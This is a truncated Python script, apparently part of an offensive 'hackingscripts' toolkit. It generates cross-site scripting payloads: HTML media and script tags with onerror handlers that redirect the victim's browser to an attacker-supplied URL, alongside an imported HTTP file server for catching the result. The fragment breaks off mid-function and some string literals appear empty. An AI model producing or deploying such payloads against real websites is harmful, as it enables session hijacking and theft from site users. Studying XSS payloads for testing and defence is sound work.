#!/usr/bin/env python from hackingscripts import util from fileserver import HttpFileServer import argparse import random def generate_payload(payload_type, url, index=None, **kwargs): payloads = [] media_tags = ["img","audio","video","image","body","script","object"] if payload_type in media_tags: payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (payload_type, url)) if payload_type == "script": payloads.append('' % url) payloads.append('